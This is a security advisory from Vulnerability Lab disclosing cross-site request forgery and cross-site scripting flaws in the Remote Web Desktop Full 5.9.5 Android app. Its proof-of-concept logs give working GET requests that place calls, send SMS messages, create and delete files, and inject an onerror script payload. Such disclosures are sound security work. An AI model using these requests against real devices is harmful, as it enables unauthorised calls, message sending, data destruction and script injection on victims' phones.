Document Title: =============== Remote Web Desktop Full 5.9.5 - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1409 Release Date: ============= 2015-01-19 Vulnerability Laboratory ID (VL-ID): ==================================== 1409 Common Vulnerability Scoring System: ==================================== 2.4 Product & Service Introduction: =============================== Remote Web Desktop enable you remotely manage & control your Android device from the computer web browser over wireless connection. (Copy of the Vendor Homepage: https://play.google.com/store/apps/details?id=net.xdevelop.rmp ) Abstract Advisory Information: ============================== An independent vulnerability laboratory researcher discovered multiple web vulnerabilities in the Remote Web Desktop Full v5.9.5 Android application. Vulnerability Disclosure Timeline: ================================== 2015-01-19: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== SmartDog Studio HK Product: Remote Web Desktop Full 5.9.5 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple cross site request forgery and cross site scripting vulnerabilities has been discovered in the Remote Web Desktop Full 5.9.5 Android mobile web-application. The mobile web-application is vulnerable to a combination of cross site request forgery and cross site scripting attacks. 1.1 The cross site scripting vulnerabilities are located in `to` value of the `sendSMS.json` file in the send sms function. The attackers needs to `Create new a contact` or `Create a contact group` with a malicious payload as name to inject. The execution occurs after the refresh inside of the main message module. Request Method(s): [+] [GET] Vulnerable Parameter(s): [+] to 1.2 The cross site request forgery vulnerabilities are located in the `makeCall.json`,`sendSMS.json`,`addTextFile.json`, `deleteFile.json` files. Remote attackers are able prepare special crafted URLs that executes client-side requests to execute application functions (delete,add, call, send). Request Method(s): [+] [GET] Vulnerable Parameter(s): [+] makeCall.json [+] sendSMS.json [+] addTextFile.json [+] deleteFile.json Proof of Concept (PoC): ======================= 1.1 The cross site request forgery vulnerability can be exploited by remote attackers without privileged application user account and with medium or high user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Call Phone Number --- PoC Session Logs [GET] (Execution) --- GET /makeCall.json?phoneNo=11111111111 HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 4 true Send SMS: --- PoC Session Logs [GET] (Execution) --- GET /sendSMS.json?to=333&content=Hello HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 30 SMS to 333 sent successfully Create File: --- PoC Session Logs [GET] (Execution) --- GET /addTextFile.json?id=/folder/&name=file HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 26 /folder/file Delete File: GET /deleteFile.json?id=%2Fmnt%2Femmc%2Faissak%7C HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: RemoteMobileSession=-658409909345357946 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 4 true Reference: http://localhost:8999/ 1.2 The application-side input validation web vulnerabilities can be exploited by local low privileged application account or remote attackers with low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. Application-Side Cross Site Scripting --- PoC Session Logs [GET] (Execution) --- GET /sendSMS.json?to=%3Cimg+src%3Dx+onerror%3Dalert(%2FXSS%2F)%3E&content=%3Cimg+src%3Dx+onerror%3Dalert(%2FXSS%2F)%3E&uid=1421297818963 HTTP/1.1 Host: 192.168.1.3:8999 User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: text/plain; charset=utf-8 Referer: http://192.168.1.3:8999/ Cookie: RemoteMobileSession=-6603034196170561541 Connection: keep-alive HTTP/1.1 200 OK Cache-control: no-cache Content-length: 68 SMS to sent failed: Unknown Error --- PoC Session Logs [GET] (Execution) --- Create new a contact or a contact group with the payload as name "" and click the contact button to save Reference: http://localhost:8999/ Security Risk: ============== 1.1 The security risk of the cross site request forgery web vulnerabilities are estimated as medium. (CVSS 2.2) 1.2 The security risk of the application-side input validation web vulnerability is estimated as medium. (CVSS 2.4) Credits & Authors: ================== Hadji Samir s-dz@hotmail.fr Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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